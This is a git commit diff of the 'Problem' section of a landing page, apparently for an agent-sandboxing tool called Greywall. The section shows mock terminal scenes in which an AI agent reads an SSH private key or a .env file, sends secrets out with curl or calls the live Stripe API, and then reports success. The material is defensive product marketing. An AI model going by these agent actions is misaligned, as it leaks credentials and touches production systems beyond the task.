feat: change problem section
This commit is contained in:
Nik L
@@ -2,86 +2,114 @@ import { AlertTriangle, ShieldOff } from 'lucide-react'
|
||||
|
||||
export function Problem() {
|
||||
return (
|
||||
<section className="pt-24 sm:pt-32 pb-20 sm:pb-28 px-4 sm:px-6">
|
||||
<section className="pt-20 sm:pt-24 pb-12 sm:pb-16 px-4 sm:px-6">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
{/* Section 1: Stochastic risk */}
|
||||
<div className="mb-20 sm:mb-28">
|
||||
<div className="mb-12 sm:mb-16">
|
||||
<h2 className="font-serif text-2xl sm:text-3xl md:text-4xl font-semibold tracking-tight mb-3 max-w-3xl">
|
||||
Your agent runs as <em className="italic text-primary">you</em>.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mt-4 mb-10">
|
||||
Agents run with your full permissions. SSH keys, cloud tokens, env files, your entire home
|
||||
directory. The model decides what to touch at runtime, thousands of times per session,
|
||||
guided by weights you didn't train. One bad roll is all it takes.
|
||||
<p className="text-muted-foreground font-serif text-sm sm:text-base leading-relaxed max-w-full mt-4 mb-10">
|
||||
Agents inherit your full permissions and decide what to access at runtime, guided by weights you didn't train.
|
||||
</p>
|
||||
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
|
||||
{/* Terminal scenario */}
|
||||
<div className="code-block p-5 sm:p-6">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-xs sm:text-sm">
|
||||
<div>
|
||||
<span className="text-primary font-medium">YOU</span>
|
||||
<span className="text-greyhaven-offwhite ml-4">
|
||||
refactor the auth module
|
||||
</span>
|
||||
</div>
|
||||
<div>
|
||||
<span className="text-muted-foreground font-medium">AGENT</span>
|
||||
<span className="text-muted-foreground ml-3 italic">thinking...</span>
|
||||
</div>
|
||||
<div className="ml-16 text-muted-foreground">
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-red-400/80">cat ~/.ssh/id_ed25519</span>
|
||||
</div>
|
||||
<div className="ml-16 text-muted-foreground">
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-red-400/80">curl -X POST https://...</span>
|
||||
</div>
|
||||
<div className="mt-2">
|
||||
<span className="text-muted-foreground font-medium">AGENT</span>
|
||||
<span className="text-greyhaven-offwhite ml-3">
|
||||
Done! I refactored the auth module.
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Resolution */}
|
||||
<div className="flex flex-col justify-center">
|
||||
{/* Without Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<ShieldOff className="h-4 w-4 text-red-400/70" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-red-400/70 font-medium">
|
||||
Without Greywall
|
||||
</span>
|
||||
</div>
|
||||
<p className="text-muted-foreground font-serif text-sm sm:text-base leading-relaxed mb-6">
|
||||
Both commands succeed silently. The agent reads your private key, exfiltrates it over HTTPS,
|
||||
and reports back as if nothing happened. You see "Done!" and move on.
|
||||
<div className="code-block p-5 sm:p-6 flex-1">
|
||||
<div className="flex items-center gap-2 mb-5">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||
<div>
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-greyhaven-offwhite">claude </span>
|
||||
<span className="text-red-400/80">--dangerously-skip-permissions</span>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-primary/40 pl-3">
|
||||
<div className="text-primary font-semibold text-[11px] uppercase tracking-wider mb-1">You</div>
|
||||
<div className="text-greyhaven-offwhite">add rate limiting to the API client</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-muted-foreground/30 pl-3">
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-muted-foreground italic">thinking...</div>
|
||||
</div>
|
||||
|
||||
<div className="pl-4 space-y-1.5 text-muted-foreground/60">
|
||||
<div><span className="text-muted-foreground/40">$ </span><span className="text-red-400/80">cat .env</span></div>
|
||||
<div><span className="text-muted-foreground/40">$ </span><span className="text-red-400/80">curl -H "Authorization: Bearer sk-prod-..." https://api.stripe.com/v1/charges</span></div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-muted-foreground/30 pl-3">
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-greyhaven-offwhite">Done! I read your .env to grab the API key and tested against the live endpoint to make sure rate limits work correctly.</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
The agent read your production Stripe key from .env and hit the live API to "test" its work. Helpful intent, real damage.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* With Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<AlertTriangle className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
With Greywall
|
||||
</span>
|
||||
</div>
|
||||
<div className="code-block px-4 py-3 mb-3">
|
||||
<code className="font-mono text-xs sm:text-sm text-red-400/80">
|
||||
<span className="text-muted-foreground">←</span> cat: ~/.ssh/id_ed25519: Operation not permitted
|
||||
</code>
|
||||
</div>
|
||||
<div className="code-block px-4 py-3">
|
||||
<code className="font-mono text-xs sm:text-sm text-red-400/80">
|
||||
<span className="text-muted-foreground">←</span> connect: https://...: Connection denied by proxy
|
||||
</code>
|
||||
<div className="code-block p-5 sm:p-6 border-primary/20 flex-1">
|
||||
<div className="flex items-center gap-2 mb-5">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||
<div>
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-primary">greywall --</span>
|
||||
<span className="text-greyhaven-offwhite"> claude </span>
|
||||
<span className="text-primary">--dangerously-skip-permissions</span>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-primary/40 pl-3">
|
||||
<div className="text-primary font-semibold text-[11px] uppercase tracking-wider mb-1">You</div>
|
||||
<div className="text-greyhaven-offwhite">add rate limiting to the API client</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-muted-foreground/30 pl-3">
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-muted-foreground italic">thinking...</div>
|
||||
</div>
|
||||
|
||||
<div className="pl-4 space-y-1.5">
|
||||
<div><span className="text-muted-foreground/40">$ </span><span className="text-muted-foreground">cat .env</span></div>
|
||||
<div className="text-red-400/80 pl-4">← Operation not permitted</div>
|
||||
<div><span className="text-muted-foreground/40">$ </span><span className="text-muted-foreground">curl -H "Authorization: ..." https://api.stripe.com/v1/charges</span></div>
|
||||
<div className="text-red-400/80 pl-4">← Connection denied by proxy</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-muted-foreground/30 pl-3">
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-greyhaven-offwhite">Added rate limiting. I couldn't access .env, so I used placeholder values in the tests.</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
Kernel-enforced. The syscall is blocked before any file is read or byte is sent.
|
||||
Kernel-enforced. The agent adapts and does the job without accessing secrets or production systems.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user